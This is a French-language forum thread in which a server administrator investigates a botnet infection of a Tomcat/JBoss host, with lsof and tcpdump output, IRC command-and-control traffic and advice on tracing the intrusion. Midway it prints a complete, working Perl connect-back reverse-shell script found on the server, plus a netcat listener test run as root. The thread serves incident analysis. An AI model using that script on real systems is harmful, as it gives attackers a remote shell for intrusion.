Processus suspect - Botnet ?

Bonjour à tous,

Un processus suspect tourne sur un de mes serveurs web, ci-dessous la sortie de la commande ps:

Code:

---

tomcat 7538 0.0 0.0 128428 3692 ? S Nov27 0:06 /usr/sbin/apache2 -k start

---

Cet exécutable n'existe pas:

Code:

---

1 2	ll /usr/sbin/apache2 ls: cannot access /usr/sbin/apache2: No such file or directory

---

On peut voir que c'est un processus PERL:

Code:

---

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24

lsof -w -n -p 7538   COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME perl 7538 tomcat cwd DIR 253,3 442368 2 /tmp perl 7538 tomcat rtd DIR 253,1 4096 2 / perl 7538 tomcat txt REG 253,1 13296 1050374 /usr/bin/perl perl 7538 tomcat mem REG 253,1 161704 784316 /lib64/ld-2.12.so perl 7538 tomcat mem REG 253,1 1930416 784748 /lib64/libc-2.12.so perl 7538 tomcat mem REG 253,1 146592 784774 /lib64/libpthread-2.12.so perl 7538 tomcat mem REG 253,1 23088 784827 /lib64/libdl-2.12.so perl 7538 tomcat mem REG 253,1 600048 784828 /lib64/libm-2.12.so perl 7538 tomcat mem REG 253,1 116904 783510 /lib64/libnsl-2.12.so perl 7538 tomcat mem REG 253,1 114496 784839 /lib64/libresolv-2.12.so perl 7538 tomcat mem REG 253,1 18056 783609 /lib64/libutil-2.12.so perl 7538 tomcat mem REG 253,1 12776 784846 /lib64/libfreebl3.so perl 7538 tomcat mem REG 253,1 43928 784848 /lib64/libcrypt-2.12.so perl 7538 tomcat mem REG 253,1 1488544 1176049 /usr/lib64/perl5/CORE/libperl.so perl 7538 tomcat mem REG 253,1 25624 1927 /usr/lib64/perl5/auto/Socket/Socket.so perl 7538 tomcat mem REG 253,1 19336 1727 /usr/lib64/perl5/auto/IO/IO.so perl 7538 tomcat mem REG 253,1 99164480 1061313 /usr/lib/locale/locale-archive perl 7538 tomcat 0r FIFO 0,8 0t0 2736075360 pipe perl 7538 tomcat 1w FIFO 0,8 0t0 2736075361 pipe perl 7538 tomcat 2w FIFO 0,8 0t0 2736075362 pipe perl 7538 tomcat 3u IPv4 2781849399 0t0 TCP xxx:60398->119.68.205.1:smtp (SYN_SENT)

---

Cela m'était déjà arrivé la semaine dernière, j'avais donc bloqué l'IP en entrée/sortie (ce qui explique le SYN_SENT).

Comment trouver ce qui lance ce processus, étant donné que l'IP est bloquée...

Merci à tous !

salut,

tu l'as justement fait remarquer, le processus n'est pas ce qu'il prétend être, à partir de là il est clairement suspect, dire si c'est un botnet... probable mais ça reste malgré tout une info secondaire

ce qu'on remarque surtout c'est qu'il semble se cantonner au user tomcat, ce qui peut donner une indication sur l'origine de l'intrusion et permet également de restreindre les recherches avec un find / -user tomcat -o -group tomcat, l'output de lsof semble dire que ça se situerait du coté de /tmp...

dans tous les cas le propos pour le malware était de trouver un répertoire dans lequel il pouvait écrire par défaut, ils ne sont pas légion sous linux, on a grossomodo /tmp, /var/tmp et /dev/shm si je me souviens bien (à vérifier), pour en avoir le coeur net là encore un coup de find qui va bien...

J'avais déjà lancé quelques find mais je n'ai rien trouvé de bizarre.

Par contre, la question que je me pose, c'est comment cette commande peut être lancée alors que j'ai bloqué l'IP en entrée/sortie...

Serait-il possible de trouver le script utilisé ?

Citation:

---

Envoyé par slyz0r

J'avais déjà lancé quelques find mais je n'ai rien trouvé de bizarre.

---

si tu n'as pas d'apache sur la machine et que c'est pas un collègue qui te fait une blague avec un script perl il y a obligatoirement des choses bizarres à trouver.

Citation:

---

Par contre, la question que je me pose, c'est comment cette commande peut être lancée alors que j'ai bloqué l'IP en entrée/sortie...

---

l'IP ? quelle IP ? l'IP du script ? l'IP de Perl ? l'IP d'apache ? l'IP de la voisine peut-être ?
si la commande peut être lancée c'est très probablement parcequ'il y a une vulnérabilité sur ta machine, on serait même tenté de préciser du coté de tomcat (interface d'administration trop ouverte par exemple ?), à partir de là on peut exploiter la faille depuis n'importe quelle adresse IP, et si en plus on parle de botnet on imagine facilement que des IP il y en a un certain nombre...

Citation:

---

Serait-il possible de trouver le script utilisé ?

---

oui, à coup de find, si le script tournait en user tomcat et dans /tmp il devrait être rapide à retrouver, dans le cas contraire peut-être qu'il ruse, en effaçant le fichier contenant son code source alors qu'il s'exécute par exemple, du coup son code n'est plus disponible qu'en mémoire, il doit alors toujours être possible d'aller fouiller /proc/<pid>/ à la recherche du dump mémoire ou au pire d'accrocher gdb sur le processus et extraire méthodiquement le code source (script perl == fichier texte, ça se repère vite en mémoire)

Citation:

---

Envoyé par BufferBob

si tu n'as pas d'apache sur la machine et que c'est pas un collègue qui te fait une blague avec un script perl il y a obligatoirement des choses bizarres à trouver.

---

J'ai un Apache en mode reverse proxy vers un JBoss. Aucune interface de gestion n'est activée, nous utilisons uniquement la ligne de commande.

Citation:

---

Envoyé par BufferBob

l'IP ? quelle IP ? l'IP du script ? l'IP de Perl ? l'IP d'apache ? l'IP de la voisine peut-être ?

---

Celle de la voisine, je n'espère pas ^^. Par contre, celle indiquée dans mon premier post, surement ;) :

Il s'agit de la dernière ligne de la sortie de ma commande lsof:

perl 7538 tomcat 3u IPv4 2781849399 0t0 TCP xxx:60398->119.68.205.1:smtp (SYN_SENT)

J'ai intentionnellement remplacé mon IP publique par "xxx". Nous pouvons voir grâce à cette ligne que mon serveur se connecte sur une IP Coréenne sur le port 25 (généralement le comportement d'un botnet). Etant donné que cela m'était déjà arrivé, j'avais bloqué cette IP en entre/sortie, ce qui explique que la connexion soit en SYN_SENT et qu'elle ne bouge plus. Par acquis de conscience j'ai lancé un tcpdump et évidemment aucun paquet ne passe.

Il doit donc y avoir un script qui se lance d'une manière ou d'une autre afin que mon serveur se connecte à cette IP sur le port 25. Ce que j'aimerais, c'est le trouver...

Citation:

---

Envoyé par BufferBob

soui, à coup de find, si le script tournait en user tomcat et dans /tmp il devrait être rapide à retrouver, dans le cas contraire peut-être qu'il ruse, en effaçant le fichier contenant son code source alors qu'il s'exécute par exemple, du coup son code n'est plus disponible qu'en mémoire, il doit alors toujours être possible d'aller fouiller /proc/<pid>/ à la recherche du dump mémoire ou au pire d'accrocher gdb sur le processus et extraire méthodiquement le code source (script perl == fichier texte, ça se repère vite en mémoire)

---

Malheureusement, le /tmp est rempli de fichiers appartenant à Tomcat et étant légitimes. Je n'en vois aucun autre (tous ces fichiers ont la même convention de nommage, je retrouverai donc très vite un intrus).

Je vais essayer de voir pour la 2ème solution ^^

Merci quand même !

Sur un autre de mes serveurs, j'ai eu exactement le même problème.

Processus semblable connecté vers la même ip sur le port 25. J'ai eu le réflexe de faire un tcpdump avant de le killer, il utilisait Postfix afin de délivrer du spam.

Sur ce serveur, j'ai bien un dossier appartenant à Tomcat sous /tmp:

Code:

---

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

ll .xer/ total 944 -rwxrwxrwx 1 tomcat tomcat 126575 Apr 23 2015 class.phpmailer.php -rwxrwxrwx 1 tomcat tomcat 11201 Apr 17 2015 class.pop3.php -rwxrwxrwx 1 tomcat tomcat 39901 Apr 17 2015 class.smtp.php -rwxrwxrwx 1 tomcat tomcat 5082 Dec 7 12:30 contents.html -rw-r--r-- 1 tomcat tomcat 749597 Dec 7 12:32 data.txt drwxrwxrwx 2 tomcat tomcat 4096 Nov 23 19:07 extras -rwxrwxrwx 1 tomcat tomcat 0 Nov 29 10:02 index.html drwxrwxrwx 2 tomcat tomcat 4096 Dec 7 16:06 language -rwxrwxrwx 1 tomcat tomcat 3979 May 19 2015 main -rwxrwxrwx 1 tomcat tomcat 4001 Apr 23 2015 main.php -rw-r--r-- 1 tomcat tomcat 0 Dec 7 14:36 oiz -rwxrwxrwx 1 tomcat tomcat 1738 Apr 17 2015 PHPMailerAutoload.php -rwxrwxrwx 1 tomcat tomcat 3085 Dec 7 13:50 sender_conf.php

---

Comment puis-je faire pour détecter via quelle application il s'est connecté ? J'en ai plusieurs qui tournent sous Tomcat.

Bonsoir,

Mon grain de sel, car je suis loin d'avoir les compétences de BB, mais le sujet m'intéresse.

Citation:

---

Envoyé par slyz0r

Sur un autre de mes serveurs, j'ai eu exactement le même problème.

Processus semblable connecté vers la même ip sur le port 25. J'ai eu le réflexe de faire un tcpdump avant de le killer, il utilisait Postfix afin de délivrer du spam.
Comment puis-je faire pour détecter via quelle application il s'est connecté ? J'en ai plusieurs qui tournent sous Tomcat.

---

Pourquoi ne pas chercher dans le dossier en question les fichiers qui contiendraient la string représentant l'IP, et si ça ne donne rien, rechercher la string "Postfix" ?

Mais bon, tu l'as peut-être déjà fait, et les scripts sont peut-être cryptés, on va attendre de lire ce qu'en pense BB...

Les scripts sont assez simples et disponibles sous Github, cela semble de "simples" PHP mailers. De ce que je comprends, ce sont les scripts utilisés APRES la prise en main de mon système afin d'envoyer le spam.

Moi ce que je souhaite savoir, c'est comment il est entré et comment l'en empêcher dans le futur.

Je suis en train d'analyser les paquets capturés avec mon tcpdump, voici ce que je peux voir dans les trames SMTP depuis mon IP vers l'IP Coréenne:

Citation:

---

:ESMTP.Exim.com NOTICE AUTH :*** Looking up your hostname...
Response: :ESMTP.Exim.com NOTICE AUTH :*** Found your hostname (cached)\r\n

---

Ensuite les ACK

Citation:

---

Command Line: USER tomcat ICI.MON.IP 119.68.205.1 :Linux 2.6.32-504.23.4.el6.x86_64\n
Command: USER
Request parameter: tomcat ICI.MON.IP 119.68.205.1 :Linux 2.6.32-504.23.4.el6.x86_64

Response: PING :CE712BC5\r\n

Command Line: PONG :CE712BC5\n
Command: PONG
Request parameter: :CE712BC5

---

Ensuite un ACK

Citation:

---

Response: ERROR :Closing Link: jboss95[ICI.MON.HOSTNAME] (Too many connections from your IP)\r\n

---

Dans d'autres trames SMTP:

Citation:

---

Response: ERROR :Closing Link: [MON.IP] (Throttled: Reconnecting too fast) -Email kline@Fuck-The.Gov for more information.\r\n

---

Citation:

---

Envoyé par slyz0r

Sur ce serveur, j'ai bien un dossier appartenant à Tomcat sous /tmp:

Code:

---

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

ll .xer/ total 944 -rwxrwxrwx 1 tomcat tomcat 126575 Apr 23 2015 class.phpmailer.php -rwxrwxrwx 1 tomcat tomcat 11201 Apr 17 2015 class.pop3.php -rwxrwxrwx 1 tomcat tomcat 39901 Apr 17 2015 class.smtp.php -rwxrwxrwx 1 tomcat tomcat 5082 Dec 7 12:30 contents.html -rw-r--r-- 1 tomcat tomcat 749597 Dec 7 12:32 data.txt drwxrwxrwx 2 tomcat tomcat 4096 Nov 23 19:07 extras -rwxrwxrwx 1 tomcat tomcat 0 Nov 29 10:02 index.html drwxrwxrwx 2 tomcat tomcat 4096 Dec 7 16:06 language -rwxrwxrwx 1 tomcat tomcat 3979 May 19 2015 main -rwxrwxrwx 1 tomcat tomcat 4001 Apr 23 2015 main.php -rw-r--r-- 1 tomcat tomcat 0 Dec 7 14:36 oiz -rwxrwxrwx 1 tomcat tomcat 1738 Apr 17 2015 PHPMailerAutoload.php -rwxrwxrwx 1 tomcat tomcat 3085 Dec 7 13:50 sender_conf.php

---

---

t'as un répertoire /tmp/.xer/ avec dedans du code pour envoyer des mails, ça te choque pas plus que ça ?
il a l'air intéressant ce répertoire .xer/, je pense que je vérifierai le contenu de son code et s'il est légitime

Citation:

---

Comment puis-je faire pour détecter via quelle application il s'est connecté ? J'en ai plusieurs qui tournent sous Tomcat.

---

c'est ça qui est beau avec tomcat, je crois pas que tu puisses :lol: (à vérifier quand même)

Citation:

---

Envoyé par Jipété

Pourquoi ne pas chercher dans le dossier en question les fichiers qui contiendraient la string représentant l'IP, et si ça ne donne rien, rechercher la string "Postfix" ? Mais bon (...) les scripts sont peut-être cryptés

---

yep c'est pas idiot, "Postfix" donnera sans doute rien mais essayer de chercher des chaines discriminantes, comme l'IP ou le fqdn du serveur d'en face, ou des mots clés de la transaction mail comme "PASS" ou "HELO" etc. pourquoi pas, ça peut rentabiliser

Citation:

---

Envoyé par Jipété

on va attendre de lire ce qu'en pense BB...

---

oh ben BB il en pense qu'il a le nez pris et le cerveau avec, qu'en tout état de cause c'est très difficile d'aider sans être devant la machine dans ces cas là, et que donc il va possiblement passer son tour ^^

Citation:

---

Envoyé par slyz0r

:ESMTP.Exim.com NOTICE AUTH :*** Looking up your hostname...
Response: :ESMTP.Exim.com NOTICE AUTH :*** Found your hostname (cached)\r\n
Command Line: USER tomcat ICI.MON.IP 119.68.205.1 :Linux 2.6.32-504.23.4.el6.x86_64\n
Command: USER
Request parameter: tomcat ICI.MON.IP 119.68.205.1 :Linux 2.6.32-504.23.4.el6.x86_64
Response: PING :CE712BC5\r\n
Command Line: PONG :CE712BC5\n
Command: PONG
Request parameter: :CE712BC5
Response: ERROR :Closing Link: jboss95[ICI.MON.HOSTNAME] (Too many connections from your IP)\r\n
Response: ERROR :Closing Link: [MON.IP] (Throttled: Reconnecting too fast) -Email kline@Fuck-The.Gov for more information.\r\n

---

c'est pas du smtp, c'est de l'IRC ça, donc ça confirme tes soupçons sur le fait qu'il s'agit d'un botnet, il se connecte à son serveur irc pour y attendre ses directives

Citation:

---

Envoyé par BufferBob

t'as un répertoire /tmp/.xer/ avec dedans du code pour envoyer des mails, ça te choque pas plus que ça ?

---

Bha si, c'est pour ça que j'en parle. Après, comme j'ai dit dans le post suivant, c'est un simple mailerPHP qui est utilisé pour délivrer le spam et activé via une commande IRC... En tout cas, c'est ce que j'en déduis.

Citation:

---

Envoyé par BufferBob

il a l'air intéressant ce répertoire .xer/, je pense que je vérifierai le contenu de son code et s'il est légitime

---

Mais évidemment qu'il n'est pas légitime lol.

Le plus intéressant ici n'est pas de savoir comment il envoie des mails, mais plutôt comment il est arrivé là et comment faire pour ne plus que cela arrive :/

Citation:

---

Envoyé par BufferBob

c'est ça qui est beau avec tomcat, je crois pas que tu puisses :lol: (à vérifier quand même)

---

Et donc quel est le moyen de sortir de ce bourbier ?

Citation:

---

Envoyé par slyz0r

Le plus intéressant ici n'est pas de savoir comment il envoie des mails, mais plutôt comment il est arrivé là et comment faire pour ne plus que cela arrive :/

---

Je passe.
Quand j'ai un clou dans un pneu, ça ne sert à rien de se demander comment on a pu choper ce truc, il est plus utile de savoir oû est le cric et comment s'en servir :P

Citation:

---

Envoyé par slyz0r

Et donc quel est le moyen de sortir de ce bourbier ?

---

Chercher dans les scripts du côté de /etc la string "xer" ? (en espérant que c'est toujours celle-ci qui apparaît dans /tmp, sinon ça va être tendu).
Bon, je sais pas comment tu cherches, moi je vais dans le dossier puis grep -ri "la_string" *.
Ça vaut ce que ça vaut, mais je trouve ce qui m'intéresse, en général.

Citation:

---

Envoyé par BufferBob

oh ben BB il en pense qu'il a le nez pris et le cerveau avec, qu'en tout état de cause c'est très difficile d'aider sans être devant la machine dans ces cas là, et que donc il va possiblement passer son tour ^^

---

Tisane de thym (même le Ducros ça marche, pas besoin de courir chez l'herboriste) bien chargée, miel si c'est trop fort (ou qu'on n'est pas habitué), s'en faire au moins deux ce soir (une après avoir lu ça, l'autre en milieu de soirée) et plein de miel entre les deux tisanes (bien infusées, bien fortes, j'insiste).
Et demain tu recommences, dès le matin.

Citation:

---

Envoyé par slyz0r

Mais évidemment qu'il n'est pas légitime lol.
Le plus intéressant ici n'est pas de savoir comment il envoie des mails, mais plutôt comment il est arrivé là et comment faire pour ne plus que cela arrive :/

---

du coup, tu colles le contenu du répertoire en question dans le but de trouver comment il est arrivé là, c'est ça, lol ?

comme je te disais plus haut dans la discussion on peut raisonnablement envisager qu'il s'agit d'un malware uniquement en userland et qu'il n'a pas acquis d'autres privilèges que ceux du compte utilisateur tomcat, l'idée naturelle ce serait d'aller consulter les logs s'il y en a, à la recherche de lignes caractéristiques d'une intrusion ou au moins suspectes; un client légitime avec son navigateur laisse une empreinte particulière là où un bot va par exemple se contenter d'1 seule requête
ce lien également pourra possiblement t'aider à trouver l'origine du mal
quant à patcher pour que ça n'arrive plus, ça dépend évidement de comment c'est arrivé

Citation:

---

Envoyé par Jipété

Je passe.
Quand j'ai un clou dans un pneu, ça ne sert à rien de se demander comment on a pu choper ce truc, il est plus utile de savoir oû est le cric et comment s'en servir :P

---

lol, c'est pas faux :)

Je pense que le cric, c'était la règle iptables que j'ai ajouté qui bloque l'IP Coréenne en entrée/sortie, ce qui a permis de bloquer le spam sur le premier serveur. Néanmoins, le script perl est toujours exécuté de façon aléatoire dans le temps, bien que comme expliqué dans le post initial, la connexion reste en "SYN_SENT" et non "Established".

(Pour rappel, un premier serveur a été contaminé il y a plusieurs semaines, j'ai directement bloqué l'IP sans faire de tcpdump et sans analyse approfondie. Quelques jours après, le script a été relancé mais la connexion ne s'est pas établie. "Par chance", un second serveur a été contaminé et c'est là que j'ai pu faire les tcpdump et une analyse un peu plus approfondie)

Donc, ce que je me demande, et je le répète:

1. Comment ce script PERL est arrivé
2. Où est-il
3. Comment patcher le serveur d'application

Je n'attendais pas une réponse précise mais plutôt de l'aide dans la réflexion, ce que vous faites à merveille tous les 2 et je vous en remercie.

Citation:

---

Envoyé par BufferBob

du coup, tu colles le contenu du répertoire en question dans le but de trouver comment il est arrivé là, c'est ça, lol ?

---

Lol, tu aimes me charier :P ! Tu as raison, j'ai mis cela dans le but d'ajouter mes trouvailles, et ajouter une pièce du puzzle. Même si ce script n'est en fait utilisé que pour déclencher le spam, ce qui n'est pas réellement intéressant pour résoudre le problème.

Citation:

---

Envoyé par BufferBob

comme je te disais plus haut dans la discussion on peut raisonnablement envisager qu'il s'agit d'un malware uniquement en userland et qu'il n'a pas acquis d'autres privilèges que ceux du compte utilisateur tomcat, l'idée naturelle ce serait d'aller consulter les logs s'il y en a, à la recherche de lignes caractéristiques d'une intrusion ou au moins suspectes; un client légitime avec son navigateur laisse une empreinte particulière là où un bot va par exemple se contenter d'1 seule requête
ce lien également pourra possiblement t'aider à trouver l'origine du mal
quant à patcher pour que ça n'arrive plus, ça dépend évidement de comment c'est arrivé

---

Merci de tous ces éléments.

J'ai lancé un grep récursif sur la racine en tant que tomcat en recherchant l'IP du serveur IRC Coréen, on verra.

En cherchant sur le net, j'ai trouvé ce script: https://gist.github.com/tlongren/afe81698cafaafcbe386

Vu les commandes qu'il affiche dans la liste des processus (my @rps), ça ressemble très fort à ce que je dois avoir quelque part sur mon serveur...

Citation:

---

Envoyé par slyz0r

Néanmoins, le script perl est toujours exécuté de façon aléatoire dans le temps

---

Un truc me fait trembler, là : faudrait pas que ton script Perl soit lancé par un autre script ou binaire se fermant après lancement, ou pire, obéissant comme un gentil bot à un méchant C&C planqué à 10 000 bornes et coupant ensuite la connexion...

Je suppose que tu ne peux rien rebooter facilement ?

C'est bien ce que je crains également...

J'ai trouvé le script perl:

Code:

---

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22

#!/usr/bin/perl use IO::Socket; $system = '/bin/sh'; $ARGC=@ARGV; if ($ARGC!=2) { print "Usage: $0 [Host] [Port] \n\n"; } use Socket; use FileHandle; socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n"; connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n"; print "[*] Resolving HostName\n"; print "[*] Connecting... $ARGV[0] \n"; print "[*] Spawning Shell \n"; print "[*] Connected to remote host \n"; SOCKET->autoflush(); open(STDIN, ">&SOCKET"); open(STDOUT,">&SOCKET"); open(STDERR,">&SOCKET"); system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo; echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- "); system($system);

---

Il était nommé "dc" et était non exécutable... Je l'ai testé vers un serveur à moi et effectivement, il envoi bien les informations demandées vers le host/port indiqué en paramètre. Le processus se coupe de suite après. J'imagine que si le serveur sur lequel il se connecte est le C&C IRC, la connexion s'établi et le script php est lancé pour déclencher l'envoi de spam.

C'est bien, j'ai avancé. Reste à trouver la faille, ce qui risque d'être plus chaud :/

Comme je le disais, sur le premier serveur, le script perl a été relancé quelques jours après que j'aie blacklisté l'IP... Je me demande bien comment :/

nc -vv -l 2121

Code:

---

1 2 3 4 5 6 7 8 9 10 11 12

Connection from 127.0.0.1 port 2121 [tcp/scientia-ssdb] accepted --==Systeminfo==-- Linux host.domain.lan 2.6.32-504.23.4.el6.x86_64 #1 SMP Fri May 29 10:16:43 EDT 2015 x86_64 x86_64 x86_64 GNU/Linux   --==Userinfo==-- uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),116(sshlogin)   --==Directory==-- /tmp   --==Shell==--

---

./test.pl 127.0.0.1 2121

Code:

---

[*] Resolving HostName [*] Connecting... 127.0.0.1 [*] Spawning Shell [*] Connected to remote host

---

Citation:

---

Envoyé par slyz0r

Code:

---

1 2 3 4 5

connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n"; open(STDIN, ">&SOCKET"); open(STDOUT,">&SOCKET"); open(STDERR,">&SOCKET"); system($system);

---

---

c'est un simple shell dit "connect-back", il établit la connexion avec une machine distante et redirige les entrées/sorties vers la socket avant de lancer un shell (ici /bin/sh)
quand le shell se termine (logout/exit) le script aussi

Citation:

---

Envoyé par slyz0r

nc -vv -l 2121

---

je ne saurai que trop t'encourager à éviter ce genre de manip hasardeuse, dans la mesure où justement tu ne sais pas ce que fait le script, et en plus tu l'as exec en root apparemment, ce qui est pire que le contexte de départ (puisqu'il s'exécute en tomcat)

Citation:

---

C'est bien, j'ai avancé. Reste à trouver la faille, ce qui risque d'être plus chaud :/

---

pas plus pas mieux que ce que j'ai pu te dire plus haut, à ça près que tu as le script, tu as donc - peut-être ? - encore l'horodatage du fichier, ce qui te permettrait d'affiner une recherche dans les logs

Citation:

---

Comme je le disais, sur le premier serveur, le script perl a été relancé quelques jours après que j'aie blacklisté l'IP... Je me demande bien comment :/

---

en ré-exploitant la faille peut-être ? :roll:

Citation:

---

Envoyé par BufferBob

je ne saurai que trop t'encourager à éviter ce genre de manip hasardeuse, dans la mesure où justement tu ne sais pas ce que fait le script, et en plus tu l'as exec en root apparemment, ce qui est pire que le contexte de départ (puisqu'il s'exécute en tomcat)

---

J'ai exécuté le script en local (127.0.0.1) et le port utilisé (2121) n'est pas ouvert pour l'extérieur via iptables... J'avais lu le script et j'avais bien compris ce qu'il faisait, hormis le lancement du shell, ce que j'ai remarqué en testant... Il y avait peu de risque, surtout qu'il s'agit d'un serveur de test.

J'ai tout nettoyé, mis à jour ce que je pouvais et je l'ai redémarré.

Citation:

---

Envoyé par BufferBob

pas plus pas mieux que ce que j'ai pu te dire plus haut, à ça près que tu as le script, tu as donc - peut-être ? - encore l'horodatage du fichier, ce qui te permettrait d'affiner une recherche dans les logs

---

Il était horodaté en 2011...

Citation:

---

Envoyé par BufferBob

en ré-exploitant la faille peut-être ? :roll:

---

Bien vu ;) !! Sauf que comme je l'ai dit plusieurs fois, l'IP a été blacklistée en entrée/sortie.

Ce qui a d'ailleurs été utile, étant donné que la connexion est restée en SYN_SENT. Il doit utiliser une autre IP pour exploiter la faille, mais ça me parait chelou.

Bref, merci de tes remarques, qui l'air de rien m'ont fait avancer. Par contre, tu pourrais être moins médisant à l'avenir, ce serait pas plus mal.

Citation:

---

Envoyé par slyz0r

Il était horodaté en 2011...

---

arf, dommage...

Citation:

---

(...) comme je l'ai dit plusieurs fois, l'IP a été blacklistée en entrée/sortie.

---

sauf que tu confonds deux choses à mon avis, ce que tu as bloqué c'est l'IP du C&C, pas l'IP qui t'a infecté (et donc qui a exploité la faille), par nature comme il s'agit d'un botnet les IP susceptibles d'exploiter la faille sont nombreuses

Citation:

---

Par contre, tu pourrais être moins médisant à l'avenir, ce serait pas plus mal.

---

médisant ? qu'ai-je donc dit que tu as mal pris ?